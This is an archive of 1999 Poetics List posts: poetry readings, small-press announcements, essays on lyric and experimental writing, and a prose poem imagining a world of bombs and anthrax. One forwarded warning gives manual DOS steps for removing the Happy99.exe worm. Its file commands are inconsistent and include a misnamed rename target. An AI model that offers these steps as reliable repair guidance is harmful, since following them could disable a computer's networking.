[sic]... May issue now online!

Wed 5 May 1999

Greetings from [sic]

May 1st rolled around and lo and behold [sic] managed to update, so far so good. This issue has four new features, including work by derek beaulieu, Neil Hennessy, Thomas Bell/Dmitri Bulatov, and myself/Scott Woods. Also new this month is an early version of the Small Press Directory, with press entries from Calgary to Columbus, from San Fran to Reykjavik.

Most notably though, [sic] has moved over the last month. Venturing out of Popped's basement apartment, [sic] got a place of its own downtown, the new address is...

http://www.sicmagazine.com

We continue to need/want submissions, both to the magazine, as well as to the directory, information is available online. We'll be coming door to door shortly, please give generously.

Enjoy,
lucas mulder
[sic] magazine
http://www.sicmagazine.com
**** to be removed from this list please reply with nasty comments ****

↑ Index

44. Mark Wallace

Final reading at the Ruthless Grip Art Project in D.C.

Wed 5 May 1999

We hope you can join us in D.C. at the Ruthless Grip Art Project (1508 U St. NW, on U near the corner of 15th, just above ATTICUS BOOKS) on

Saturday, May 8 at 7:30 p.m. for a poetry reading by PHYLLIS ROSENZWEIG, CATHY WAGNER, and MARTIN CORLESS-SMITH.

Sadly, this is the last ever poetry event at the Ruthless Grip Art Project, where I've been hosting readings since fall 1995. We'll be continuing next fall in a new location, but for now, come on out and enjoy the last great evening of poetry we're going to have in a location that's meant a great deal to many of us. The evening will also be a chance to say thanks to our fine hosts of so many years, Ann and Harry Wallace.

PHYLLIS ROSENZWEIG is the author of DOGS (Edge Books) and the co-editor along with Diane Ward of the poetry magazine/project PRIMARY WRITING. One of D.C.'s best kept secrets, she writes a poetry of stunning range and knowledge--you won't want to miss this rare chance to hear her.

CATHY WAGNER is the author of MAGAZINE POEMS. Her work has also appeared in SITUATION, FENCE, RIBOT, THE DENVER QUARTERLY, and THE CHICAGO REVIEW, among other magazines. If you don't know her lively and wry work yet, you certainly will later, so why not just do it now?

British poet MARTIN CORLESS-SMITH has lived in Nevada for the last several years--go figure. His book OF PISCATOR was published by University of Georgia Press; Spetacular Books has also just released his THE GARDEN: A THEOPHANT OR ECCOHOME A DIALECTICAL LYRIC. Corless-Smith seems one of the most exciting new inheritors of the British Objectivist tradition; echoes of Basil Bunting and others combine with an absolutely comtemporary twist of language and environment that is sounded as precisely as any work around.

We hope you'll join us for this evening of poetry and all festivities afterwards.

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

45. Alan Sondheim

The Political Economy of Bombs as Transparencies

Wed 5 May 1999

T

The Political Economy of Bombs as Transparencies

Nikuko writes and wrongs, clearly we are entering a new age, occasioned first by the harbinger of anarchists' cookbooks, not to mention Loompan- ics, the whole wide world of Net, ready availability of household chemi- cals. This is the world of the reign and rain of bombs, the porousness of everyday life, fearful no longer of tiny-tot handguns, but the potential for any place and any time to explode with nails, glass, strips of tin, shrapnel beyond experimental poetics.

Think of bomb-blast winds carrying fires and debris everywhere; imagine your own limbs incinerated, cut apart: look around you as walls and ceil- ings fall through charred floors. A violent wind blows across the planet as volatile mixtures from uranium to nitro rise from the interior in order to be packaged in pipes and bottles, cars and trucks, airplanes and trains - packaged in anything transportable - anything of the nature of _vector._

Because, adds Jennifer, first there is the _vector,_ and then there is the emission or spew - the dissipation of materials after chemical or nuclear reaction - as the earth returns mixtures to its own, returning, in fact, the whole of civilization to the condition of the _brew._ Just as there is a tendency towards _distinction_ - for example, the very computer I am ty- ping on appears as an ordered coalescence of minerals and metals and other elements of the world - there is also a tendency towards _substance,_ that aphanisis or loss of distinction characteristic of our primordial begin- nings. Call this the death drive or error, but we now may observe our pla- netary surface within the throes of two regimes at odds - that of inscrip- tion or distinction, and that of the fissuring of entities through bombs.

Julu chimes in, and this porousness will increase; biological weapons are a short step behind. Soon, anyone, anywhere, will be able to make himself or herself felt among the remnants of culture and civilization - ideas will flourish according to an economy of detonations and silent killers. That woman next to you may be carrying anthrax; that man across the street hides grenades in his briefcase; those children run plastique for the drug runners. These things are the orders of the day; the new political economy is built upon the necessary destruction of the old. No matter that the final result is planetary toxicity - that is at least decades away.

Jennifer says, we draw our circles in the sand. Nikuko says, within the circles is our band. Julu says, the circles consecrate our land. All three, then speaking together, the circles constitute our land. & they are silent & watch the rising wind. & they do not see the wind, but only the effects of the wind. & Nikuko says, we have been given this transparency.

↑ Index

46. Poetics List
talk series / Gilbert
Wed 5 May 1999

Alan Gilbert asked me to post this to the list. Chris

POETRY ON TIME
a New York City based talk series

presents

LISA JARNOT
discussing poetry and biography
Friday, May 7, 1999, 8 p.m.
Segue space
303 East 8th Street at Avenue B

In _Ulysses_, James Joyce writes, “History...is a nightmare from which I am trying to awake.” Poet Ed Sanders says, “Dare to be part of the history you write about.” Filmmaker Harry Smith once remarked, “I would like to say that I’m the czar of Russia.” Robert Duncan’s directive from _The Opening of the Field_—“Go write yourself a book and put / therein first things that might define a world.” And as Alfred Whitehead writes in _Process and Reality_—“how an actual entity becomes constitutes what the actual entity is....” Lisa Jarnot will lecture on the process through which actual entities come into being—through escapes, participations, and written and spoken declarations of the real.

Lisa Jarnot’s second collection of poems, _Ring of Fire_, is forthcoming from Zoland Books. She lives in New York where she is currently writing a biography of Robert Duncan.

The presentation will consist of a brief poetry reading and a 30 minute talk followed by questions and answers.

$4 donation

Coordinator: Alan Gilbert

For further information, contact Alan Gilbert at [redacted]

↑ Index

47. Poetics List
DO NOT OPEN / beaulieu
Wed 5 May 1999

Hi. below is a message from derek beaulieu, to the multiple recipients of his most recent message (including the list). I'm putting it up because I thought it

might serve as a cautionary tale to list subscribers; however, I want to be absolutely clear that

> the infected message to which derek refers did NOT reach
> the list - I found and deleted it.

Therefore, while this message is of interest as Happy99.exe and similar worms/viruses continue to cause havoc in personal mail and especially on listservs,

> there is NO threat of infection from any message that has
> been sent over the poetics list.

For futher information on Happy99.exe and other viruses,
I recommend you refer to the following sites:

SARC's Virus Encyclopedia
<http://www.symantec.com/avcenter/vinfodb.html>

Datafellows "Computer Virus Information" pages
<http://www.datafellows.fi/vir-info/>

Chris

> % Christopher W. Alexander
> % poetics list moderator

----- From: "derek beaulieu / house press" <[redacted]> Subject: DO NOT OPEN HAPPY99.EXE very sorry - virus warning Date: Tue, 4 May 1999 23:21:28 -0600

I would like to apologise, as my last email, unbeknownst to me had a virus attached to it. the virus was called happy99.exe and here are the instructions to rid yourself of this virus:

1.check the WINDOWS\SYSTEM folder for the presence of these files:
SKA.EXE
SKA.DLL
WSOCK32.SKA
2.if you do find these files, then you have been attacked by the happy99 virus, and remove it by doing this:
1. delete SKA.EXE, SKA.DLL and WSOCK32.DLL
2. rename WSOCK32.SKA as WSOCK32.DLL
make sure that you have WSOCK32.SKA file before deleting WSOCK32.DLL and ensure that you have renamed this file correctly. you may have to close your browser, email software, etc

to delete and rename the DLL files (you may have to shutdown WINDOWS and restart in dos mode)
1. shutdown windows with the RESTART IN MS-DOS MODE option.

2. at the prompt type CD SYSTEM (return)
DEL WSOCK32.DLL (return)
REN WSOCK32.SKA WSOCK23.DLL
and now restart your computer
open the c:\\windows\system\liste.ska in your NOTEPAD to see a list of who you may have infected yourself.

once again - I apologise, I have now reloaded a virus checker - operating without one was unprofessional and unnecessarily risky and once again I am very sorry for the bother,
problems and trouble this has created for you all.
yours very sincerely
derek beaulieu
editor, housepress

↑ Index

48. Jim Bennett
LA Aug 99
Wed 5 May 1999

I will be tuning up in LA on 11th August and am looking for some gigs, during the eight days following, anything considered, poetry, music, Liverpool Poetry, by a Liverpool original. If anyone has anything to offer please b/c.

In the UK this year I will be appearing at a number of festivals culminating at the Edinburgh Festival.

Thanks

Jim

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49. Billy Little
Re: Bedight and fillyness
Wed 5 May 1999

peter's speech makes me think how nice it would be with soundfiles on the list, or links. You're a brave man peter, i really would have loved to bin dere, your wordspinning(webstering?) is brilliant dizzying makes Mr. bloody Burgess Anthony look like a piker, i can see half of your colleagues on the edge of their seat wondering if they should dial 911 we need a straitjaCKET for this man's tongue, thanks again Pete gives me hope for the Geezer Nation.

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy

↑ Index

50. Kristen Gallagher

new books: magee, schuster

Wed 5 May 1999

---

2 from new Handwritten Press:

Morning Constitutional by Michael Magee $8

An endlessly re-readable poetic excursion through Philadelphia that stumbles into places like "fuckin' Rhode Island," "not-Bedford," "Hezb-e-Whadat," and "my rock chest hurts." In Magee's book, social, historical and literary texts play with and against each other, vying for attention, fading like palimpsests underneath new vernacular inventions, then rising again into the foreground. Homophones stretch across whole lines - sometimes whole poems. Jokes search around for their audience, find it, or bomb and rewrite themselves, that we might all, in Ralph Ellison's words, 'slip the yoke.'

*_Project Experience: Museums, Archives, Monuments, Bureaus_*
by Joshua Schuster $5

Hand-sewn, passport-sized, this delicate little book will burn in your mind (and fit in your pocket) long after first reading. Questions of institution - what one is, does, whether the word is any longer relevant. How who relates to creation of such structure, or how such structure wounds, lies, sabotages. Ethics and negativity, rites and rights of passage, re-imagined through the creation of imaginary bureaucratic space. Schuster's creations are intimate, fragile - as if the "human" might be slipping away, barely noted, yet persistently whispering under, peeking from, crying out, plotting against, getting caught in....

"The archive is the gossip."

"Your illness is a kind of argument."

"An independent business which plans memory destinations."

checks payable to:

> *Kristen Gallagher*
> *226 S. 44th St.*
> *Philadelphia, PA 19104*
>
> *for both of these books: $10*
> *for subscription of 3/year: $15*

↑ Index

51. Richard Caddel

Re: FW: Eyewitness Report--Cambridge Conference of Contemporary Poetr y

Thu 6 May 1999

On Wed, 5 May 1999 16:52:35 +0100 (BST), you wrote:
>>> I had expected heavy attendance
>>> from the pages of the 'Other' and 'Chaos' anthologies, but most of
>>> those anthologized, even some who live in Cambridge, seemed to give it a
>>> miss. Maybe someone (Ric Caddel?) on the List can fill me in on the
>>> cultural politics here.

- Harold, thanks for your field report on CCCP, your social anthropology degree's in the post. In particular, thanks for your crediting of Peter Riley and the Organisers - as one who's done his share of organising, I know what's involved, and how little thanks one gets. But I'm afraid I can't explain the cultural politics of the presences / absences: you're surely not suggesting some kind of divisions in the camp of Britpo are you? How could you? We're just one big happy family...

I suspect in most cases the reasons would turn out to be simply a matter of Having Other Fish To Fry. There was, for instance, an excellent conference going on at the same time in Cork, and late April is a good time to catch up on family things, which is what I was doing, and perhaps others too.

I think the "international" elements of CCCP are great: we're still caricatured - with some justification, perhaps - as an insular, not to say village, bunch, and any evidence to the contrary is welcome.

RC

↑ Index

52. Clark D Lunberry
New from Slovakia
Thu 6 May 1999

Three new books
just released
by Kalligram Publishing House,
Bratislava, Slovakia,
in conjunction with the
Institute of Broken and Reduced Langauges,
Budapest, Hungary----

1. Marton Koppany's _The Other Side_ 2. Clark Lunberry's _StonePoems_ (photographed poems on stone) 3. Bern Porter's _talalt versek_ & George Brecht's _Tancok, esemenyek, feladvanyok_ (only available in Hungarian)

Each of these are in a limited edition of 300 copies and are available at a special rate for Poetics List Members, $7.50 per title (postage included).

Contact me for more details,

Clark Lunberry
Milwaukee

↑ Index

53. Loss Pequeño Glazier
Deluxe Rubber Chicken #3
Thu 6 May 1999

The third issue of Deluxe Rubber Chicken is now on the web.

This issue features work by Peter Balestrieri, Michael Basinski, John M. Bennett, Joel Bettridge, William "Fergie" Ferguson, Loss Pequen~o Glazier, Kenneth Goldsmith, David Greenberger, Stephanie Hawkins, Christopher Meyers, Julie Nagle, Mark Peters, Spencer Selby, Alan Myouka Sondheim, Uncle Eddy and Ted Warnell.

Now available as the Featured Resource at the EPC:
http://writing.upenn.edu/epc/
Click on "DRC3"

↑ Index

54. nuyopoman
Over the Top with Bob Holman
Thu 6 May 1999

“Over the Top” with Bob Holman

Premier of Internet Realtime Poetry Variety Show
Monday, May 10 ET: www.pseudo.com (go to Channel-P)
Go! Poetry in conjunction with Mouth Almighty and EzraPoe2000

Your Hosts, Percy Dovetonsils and Bob Holman
The Sidekickin’ Announcer: Todd Colby
DJ Ill Badler
This week’s slammers:
Stacyann Chin, coached by Lynn Procope
Cristin O’Keefe Aptowicz, coached by Beau Sia
John Rodriguez representing the Bronx

Features:
American Poetryband Stand, where you dance to poems
Live Call-In 800 # Slamming
PoVideos: Ernie Kovacs, Leonard Cohen, Sekou Sundiata
Actual Poems by Alice Notley and Sappho
“Book Talk,” where books talk (superimposed mouths). This week, Allen Ginsberg “Death & Fame” discusses ampersands with Robert Creeley “Life & Death.”

...Plus! Surprises! Great guerrilla camera work! And, maybe your computer will work this time. Realtime, go to realplayer.com and upgrade now!!

↑ Index

55. Robert Grotjohn
American Social Identity Survey
Thu 6 May 1999

Here is something a few of my colleagues (anthropology, development office, math, political science--an interdisciplinary effort) cooked up (at happy hour, I think) for something to do this summer in small town Virginia--besides re-enact battles from the War of Northern Aggression. If this is OK for the list, please post it.

Dear everyone:

We would like to invite you to participate in an informal experiment about Americans' impressions of our national identity. It works like this: list 50 material objects that represent your own personal vision of American social

and/or political culture. The items on your list should be physical objects, but fairly general; e.g. "a '57 chevy", and not "my grandmother's blue and green '57 chevy with that dent on the left front fender". The items don't have to be this specific either, "a car"

would be perfectly acceptable. Other possible categories are: icons, buildings, clothing; any kind of material item, of any size whatsoever. Imagine that you are putting together a museum exhibit to show others how you view American society.

You can list your items in any order, as we will not be considering any kind of ranking.

If we get a significant response, our plan is to analyze the lists for overlap, in order to see what kind of agreement people have on how our society should be represented. We'll send a copy of the results to everyone who participates, and we will be accepting responses indefinitely.

Please feel free to respond anonymously, but it would be useful for us
to
know the following information:

a) your sex.
b) your approximate age (to within 5 years, e.g. 10-15,...,80-85, etc.)
c) where you live
d) of which country you are a citizen
e) the racial or ethnic group with which you identify
f) political identification, if any (a short description rather than a
party name is fine)

This experiment is not limited to Mary Baldwin College. Please forward this message to everyone whom you think might be interested. If you would like to help analyze the data, please volunteer.

Send responses and/or inquiries to

[redacted]

Please do not change the subject line of your response, and please let
us know
if you would like updates on the progress of the survey.

Thanks,

Carrie Douglass
Lydia Petersson
Adrian Riskin
Laura Van Assendelft

↑ Index

56. Poetics List

nominative press announces...

Thu 6 May 1999

---

nominative press announces...

THE MOST OF IT // Matthias Regan
SCRATCHCARD SALLY-ANN // Keston Sutherland

All chapbooks $5 U.S. and Canada; overseas $7.
Payment in U.S. funds please. Trade welcome for
comparable materials; please query.

Christopher W. Alexander <[redacted]>.

--

THE MOST OF IT // Matthias Regan
twenty printed pages, 6.6 x 8.5"

curious I should think of any of this as meaning
more than itself
I don't like to associate myself w/ things meaning more than
themselves at the same time I feel there are some secrets left
unreported

I still hold to my earlier thesis

flirting is perhaps the best example but also talking to a boss
state intervention
is the most prevalent tactic & actually it indicates a degree to
which vestiges of democracy
remain active in an idealized 'fascist'
the dichotomy between
wilderness & urban life
resists the lower class by situating neigborhoods

outside the limits of municipal retaliation & response

occasionally he gets messages from classmates most of whom appear
from their voices to be polish
as well

[selection re-lineated for electronic mail]

--

SCRATCHCARD SALLY-ANN // Keston Sutherland
24 printed pages, red coverstock, 6.6 x 8.5"

A monumental petrol stop by the track-side 10 million snacks all conflated one hell of a mess here, better to run

through the options vote in some order of sun beam
bonded by overt minimized distraction

to its chorelessness lighting the repute outpost by the kitchenette window seen
through which crows and goats squirm, not themselves

apprehended as with number one strict darkly beheld
contrariness but likewise they're threatened and getting so, so tired

of just this, sieved joy / once or twice again / glo in
the dark esteem piled beneath each chance-stop like a grin-voucher.

[section two of "ON THE OCCASION A REPAST"]

--

forthcoming:

William Fuller // AVOID ACTIVITY
Alan Sondheim // JENNIFER (re-designed 2nd printing)
Heiner Muller, tr. Benjamin Friedlander // ABC

↑ Index

57. Poetics List
FAULT LINE PARK / 24 hour press
Thu 6 May 1999

Just rec'd from 24 Hour Press:

> FAULT LINE PARK by Brian Young

This is a strong little (actually 29 closely-printed pages) chapbook, and comes highly recommended. Quickly:

Owning its connection to the NY School of Schulyer or the thin surrealism of James Wright, FAULT LINE PARK turns those more static or "restful" elements to restive account in a linguistic play that ranges from them into humorous cynicism and underlying despair - as in this, what seems almost direct address to the foregoing:

> My God, what is it now? I know it can't be
> all that important. You balanced the irresistible
> flames in the thought of a few birds,

the makeshift eyeball, and the ceremonial screech
of a reverse sky. They are all out there right now,
they are asking you to delete this, for Christ's sake.

These poems are by turns aggressive and aggressively self-critical, speculative and disappointed, cruelly frank and frankly beautiful. Continuing the quotation:

They are made whole by the piano, played in the drugstore.
I know that nearly anything could serve as a purpose
in your life now. In the arbitrary connections
of the late afternoon, without a radiating hedge
to dream by.

Argh - that's all the review I have time for, have to run.

Chris

--

Oh - almost forgot: I don't know the cost of the book, nor do I have the publisher's email address; queries and orders can be sent to

24 Hour Press
3117 Broadway
Box 62
New York NY 10027

% Christopher W. Alexander
% poetics list moderator

↑ Index

58. Lowther,John
Questions on a HOW-TO
Thu 6 May 1999

> *{ p o e t i x }*
>
> *in the new issue of rhizome the editor - standard schaefer - has an essay called PRELIMINARY NOTES ON LITERARY POLITICS - i'm interested right now to look at one strand that stands out therein which indirectly poses a set prescriptions - i say indirectly as i don't think that the author wd want to be held accountable for them (and certainly not in my representation below) - the varied and excellent contents of the magazine also challenge these prescriptions - a fact that in some ways make them more curious to me - in any event - one might see this strand in the essay as a how-to manual and dub it HOW TO WRITE A POEM IN THE "CLASSIC STYLE"*
>
> *a how-to generally starts with "Do's" and SS advises that we write from*

"..the real material world. A place where words are not split from things but are the same, a constant deferral to other things (signs) and a celebration not of utopias we can form in the mind, but of the heterotopias of thought as they are produced by the material and discursive world." - further we are presented with the notion of poetry able "...to stand as a monument in the way that 'classic art' has." - SS advises that "In order to do so (...) contain the fragments and disjunctions within a strong style with formal criteria."

at this point i have nothing but questions :

is the real material world a place where words are not split from things ?

if it were wd this be the same as a situation wherein words were a constant deferral ?
*might we ditch 'words' and ask if what is being said here is that *things are a constant deferral to other things* ?*

is 'containment' really the way to go ?
what does leave out ? (i'm assuming that containing implies leaving something out - maybe i'm wrong - but then if containment doesn't imply exclusion what is containment again ?)
where are we to locate these 'formal criteria' which seem so essential to the project of containment ?
might they be formal criteria of a david antin talk poem a john cage lecture one of my poems ?
and if not why not ?

cd it be that one person's 'heterotopia of thought' is another's 'utopia of the mind' ?
is the mind outside of the material and discursive world ?

any How-To Manual will also contain some "Don'ts" and this one is no exception - standard is at pains to critique a stylistic trend which he calls "the free play of signifiers" - this is the escapist 'utopia of the mind' mentioned above and in the larger movement of the essay it is pinned implicitly on the language poets - we're told that indulgence in 'the free play of signifiers' is a celebration of freedoms that are not there - that such work is empty and can only assert it's own falsity - elsewhere we are told by SS that "...these experiments do not actually help the writer sound differently from the way they do in real life - a problem because this transformation is ostensibly why such experiments are made."

what is a free play of signifiers ?
how is it a celebration of freedoms that aren't there ?
i mean if i celebrate my freedom to vote this might simply be some sitting around on my ass talking appreciatively about my right to vote but it also might be voting, right ?

if so - cd it be that the freedom of a free play of signies is in the playing ?
is the objection then to some perceived claim made for this practice?
what are these claims ?
who made them ?
when and where ?

is the intent of experimentation to sound different than one does in real life ?
if it were and it failed wd that mean that the resultant writing were without merit ?

does experimental writing lack formal criteria ?
is experimental writing impervious to containment generally ?
if it were wd this be 'wrong' ?

standard also admonishes (but admonishes who ?) that "reproducibility (in Walter Benjamin's sense) and conservation of traditions are not irreconcilable with creativity, but are the conditions by which the real experience oscillates and disorients itself..."

what is 'real experience' ?
what cd unreal experience be ?

is the problem with experimental writing that it has no tradition ?
does experimental writing have no tradition ?
what is tradition ?
what does tradition mean in this essay ?
isn't it possible that people cd have different traditions ?
if so - how wd we deal with a tradition of experimentation ?
is science a tradition of experimentation ?
is science irrelevant to literature and thus beside the point ?
wd science be better without the experimental bias ?

is art or poetry a telic business in the way that science often is ?
if it is what is it's telos ?
if it is not then why should experimentation or tradition be indexes of value ?
it poetry is not a telic endeavor what sort is it ?

cd poetry - or cd one person's poetry be telic ?
if it cd and their goal was not to be seen or found in 'tradition' as it stands what options wd they have ?

if one disagrees with another why do they say so ?
do they wish to engage in a discussion ?

is a discussion possible if either side's position is fixed ?

> *)L*

↑ Index

59. derek beaulieu / house press

Fw: COLD PHUSION - a poetry reading

Thu 6 May 1999

----- Original Message -----
From: <[redacted]>
To: <[redacted]>
Sent: Thursday, May 06, 1999 9:10 AM
Subject: COLD PHUSION - a poetry reading

> *COLD PHUSION*
> *- linear acceleration and perpetual poetics -*
>
> *empirical investigation and phacilitated experimentation.*
> *reading and poetry slam with emphasis on the line*
> *break.*
>
> *participation encouraged.*
> *prizes/possible publication.*
>
> *Thursday May 13 7:30 pm*
>
> *THE READY ROOM*
> *#330 - 605 1st Street SW*
> *Calgary, Alberta*
>
> *cover charge only two bucks.*
> *licensed venue.*
> *all welcome.*
>
> *brought to you by the phu collective*
> *jill hartman / darren matthies / matilde sara t. sanchez*
> *natalie simpson / t. maurice speller / lindsay tipping*
>
> *contact darren matthies ([redacted]) for more information*

↑ Index

60. **Rachel Blau DuPlessis**

Re: Barnard and beyond Beyond

Thu 6 May 1999

Dear Stephen and whole list--I just checked in to S.Cope's queries about Barnard especially questions of Lyric. Fruitful terrain. In my paper responding (or purporting to respond) to Marjorie, I also queried the binary formulation of the title or rubric under which the conference was "meeting"--that is, Lyric Tradition and Language Poetry, proposed as 2 separate entities. (I know it could be construed as kind of a cheap move to query the horse built by a committee--i.e. the conference title--but this one seemed symptomatic. My query was precisely about the concession of lyric, much less tradition, to one "half" of an impossibly crude binary. I used myself (closest to hand, and of course an act of consummate narcissism) as an example--my critique of certain aspects of the lyric tradition (I/thou, subject/ objectified, gazer/ gazed at) is one (One Important) but Only One aspect of Lyric. Clearly I have gone on record as having a feminist critique of lyric, which has the further amusing effect of bringing under critique and scrutiny a number of Rather Famous Poems. However, there are many aspects of lyric, and the heavy-duty I/thou relation is only one. So what is really called for is an examination of what people now might mean or want when they write in what they call a lyric mode. (And there is no doubt that the poetry of Jean Day, Jennifer Moxley, Susan Gevirtz, Lisa Jarnot, et al. would be proposed here) Is it a (historical) connection with the short poem? (Rae Armantrout) is it closure? is it sound--even unto lushness? (Charles Bernstein) is it a certain contained temporality of the reading that nonetheless opens out into a vast temporality of implication? (Ann Lauterbach) is it awe? strangeness? (Lyn Hejinian) wonder? Is it secularized spiritual urges? Is it just a way of talking "personally"? Is it the loss of the social, the transcendence of the social, or is it inflected with an encrypted social realm?Is it song or dance or a rhythmic stretto? (Nate Mackey) Is it some relationship to an idealized female figure? (Barbara Guest) Is it a formal containment of discursive varieties? (as Harryette Mullen does in Muse and Drudge with ballad/blues) Is it a certain kind of "overheard" quality or relationship to a listener? How can ear and the intersubjective be factored in, or can it? Is it what Stephen Cope called "lyric tension"--a great phrase--which means what definitionally?--hi Stephen--fill in! Is it a certain kind of subjectivity (one that Mary Margaret Sloan characterized as the poetry of domain in her conference paper)? or is it a voiding of that authoritative master-subjectivity, a kind of evacuation and voiding of the subject? is it beauty that we want from lyric? (thus raising the question--I won't even say it--what is Beauty--ahh, gasp, there--it's out).There are also a few genres within lyric--like ode, song, ballad, maybe elegy.I am not trying to rehearse Poetry 101 here, so read on, maybe. What I

am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries. ========== Rachel Blau DuPlessis
Temple University Philadelphia, PA 19122 [redacted]

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61. Poetry Project
new on the web site
Thu 6 May 1999

Now on the Poetry Project web site at

http://www.poetryproject.com

new work by:

Norma Cole
Rachel Levitsky
Susan Mills (also linkable thru the Tiny Press Center)
Hoa Nguyen
Jo Ann Wasserman

in "Poets & Poems"

An essay by Mark Nowak and Diane Glancy: "Cruizin the Iceberg" in "Features"

"An Interview with Edward Sanders" by Lisa Jarnot
reprinted in our Newsletter Archives

and ever-expanding listings of chapbooks, broadsides, and literary journals
in the Tiny Press Center.

Enjoy!

↑ Index

62. Mairead Byrne

Re: American Social Identity Survey

Thu 6 May 1999

A green card
An x-ray of my lungs
Gre scores
The smell of American paint
Dust
Thick white diner coffee cups
Halloween decorations
Thanksgiving decorations
Christmas decorations
Valentine's Day decorations
St. Patrick's Day decorations
Easter decorations
Russell Stover
Russell Edson
Cities that are towns
Towns that are villages
Newspapers that are all local
The Great Disappearing Trick of the Rest of the World
The Great Disappearing Trick of the Native American
The Great Disappearing Trick of National Guilt
Affirmative Action
Candy
Candy of all kinds
Poetic metaphors using candy
Food of all kinds
Cardboard hamburgers
Soggy wet cardboard hamburgers
Cars
Cars on sidewalks
Cars in and out of driveways
Cars in bed
Beds in cars
Lonely Lonely Lonely Lonely
A story with a middle only
Wall-mart
GPAs
Student evaluations
Church

Churches
Our church
Do-nuts
Bread with sugar in it
Rashers with no meat
Beans with sugar in them
Andy Warhol
Harold Bloom
Regret over accidental bombing
The concept of accidental bombing
The mathematics of accidental bombing
A failure to realize that the smell of bananas is enough
Banana bread
A failure to realize that the smell of flowers is enough
Bouquets
With ribbons
Funeral homes

↑ Index

63. Elizabeth Fodaski
Double Happiness
Thu 6 May 1999

Hey everyone out there--

Has anyone taken any photographs of anyone reading at Double Happiness? Some pics would be very helpful for a free ad/promo gig. Please backchannel if you have or if you know anyone who has taken any such photos.

Thanks,
Liz Fodaski

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64. pete spence
Re: American Social Identity Survey
Thu 6 May 1999

> *Dear everyone:*
>
> *We would like to invite you to participate in an informal experiment about Americans' impressions of our national identity. It works like this: list 50 material objects that represent your own personal vision of American social and/or political culture. The items on your list should be physical objects, but fairly general; e.g. "a '57 chevy", and not "my grandmother's blue and green '57 chevy with that dent on the*

> *left*
> *front fender". The items don't have to be this specific either, "a car"*

so how do you say GUNS for times???/pete spence/australia

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

65. BETSY ANDREWS
burrow into the borough
Thu 6 May 1999

WEDNESDAY, MAY 12
8:00 PM
FERAL ART
229 5TH AVE
BROOKLYN:

Lesbian poetry, performance and erotica with:
Betsy Andrews
April Biggs
Cindy Greenberg
Wendy Kramer
Rachel Levitsky
Aida Vega

(five measly bucks)

↑ Index

66. Brian Lennon
request: Berlin Wall
Fri 7 May 1999

Would appreciate sharing of cites for: poems mentioning or otherwise invoking Berlin Wall, any context, mainstream or not. Backchannel--- thanks---

Brian Lennon

↑ Index

67. Tosh
Boris Vian & Serge Gainsbourg reading/music/video event
Fri 7 May 1999

---

15 May, Saturday 7:30 P.M.

TamTam Books & Beyond Baroque presents
with the support of the French Cultural Service in Los Angles

Serge Gainsbourg and Boris Vian Party

Saturday May 15 at 7:30 P.M.
AT: Beyond Baroque Literary Arts Center
681 Venice Blvd
Venice, CA 90291
Phone no: [redacted]
TamTam Books: [redacted]

Tosh Berman and his TamTam Books celebrates the release of their first two titles: Boris Vian's I Spit on Your Graves and Serge Gainsbourg's only novel Evguénie Sokolov. Both titles were, and still are shocking in its sense of outrageousness provocation, and brilliance. Vian was a jazz musician, playwright, novelist, translator of hard boiled American crime classics (Chandler, Cain, etc.) into French, and hardcore trouble maker. Gainsbourg was a prototype lusty punk who tore into the threads of French society with his numerous films, music projects, and outlandish persona. Both of them changed the world, and therefore transformed the world of pop music and literature into a vision of sexuality , humor and of course danger.

Along with the readings of Gainsbourg and Vian's work we feature the glorious sounds of dj's Lance Rock & Hypnotique spinning the sounds of Vian & Gainsbourg and the French music revolution they both started, and a screening of the ultra-rare documentary on Gainsbourg in English, with the tantalizing Brigitte Bardot, the desirable Jane Birkin, and of course, the nasty overtones of "Lemon Incest" with Gainsbourg's daughter Charlotte.

Tickets are $7. $5 for students and seniors. Beyond Baroque members free.

Boris Vian's I Spit on Your Graves & Serge Gainsbourg's Evguénie Sokolov are available on Amazon.com, Barnes & Nobel.com and various bookstores. Also through :

AK Distribution Small Press Distribution
PO Box 40682 1341 Seventh Street San Francisco, CA
94140 Berkeley, CA 94710-1409 ph:[redacted] [redacted]
fx:[redacted]

Tosh Berman
TamTam Books

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68. Katie Degentesh
THURSDAY, MAY 13
Fri 7 May 1999

9X9 INDUSTRIES PRESENTS:

MICHAEL PALMER, author of _Blake's Newton_, _The Circular Gates_, _Without Music_, _First Figure_, _Notes for Echo Lake_, _Sun_, _At Passages_, and, most recently, of _The Lion Bridge: Selected Poems 1972-1995_. He has also translated contemporary Brazilian, French and Russian poetry. He lives in San Francisco.

JOCELYN SAIDENBERG, author of _Mortal City_, Parentheses Writing Series, 1998, and the founder and co-editor of KRUPSKAYA, a small press dedicated to publishing experimental poetry and prose. Her work has appeared in such magazines as Clamour, Mirage/Period(ical)#4, Idiom, Arshile, Tripwire, Outlet, and is forthcoming this summer in Primary Writing.

READING AT Adobe Bookshop, Thursday, May 13, 1999
3166 16th St. (at Guerrero), San Francisco 8PM, FREE

-->come and get your new, free 9x9 broadside of Michael Palmer's "Tower" <--

COMING NEXT MONTH (JUNE 17):

KLIPSCHUTZ AND VLADLEN POGORELOV

9X9 INDUSTRIES http://www.paraffin.org/nine/

[redacted]

WE DON'T LIKE POEMS
THAT ARE LIKE POEMS!

WE WANT YOUR THURSDAY EVENINGS.

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69. Douglas Oliver
Re: Hail and Farewell
Fri 7 May 1999

I'll always treasure the memory of Peter Quartermain, fresh back from his retirement party, reading his goodbye speech in his kitchen while Alice and I were on a visit to Vancouver and its fine poetry circles there. It made the day light up.

Doug

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70. Carol L. Hamshaw

Teen Telepoetics

Fri 7 May 1999

TEEN TELEPOETIC RECITAL - 2-way video linked poetry performances by young poets.

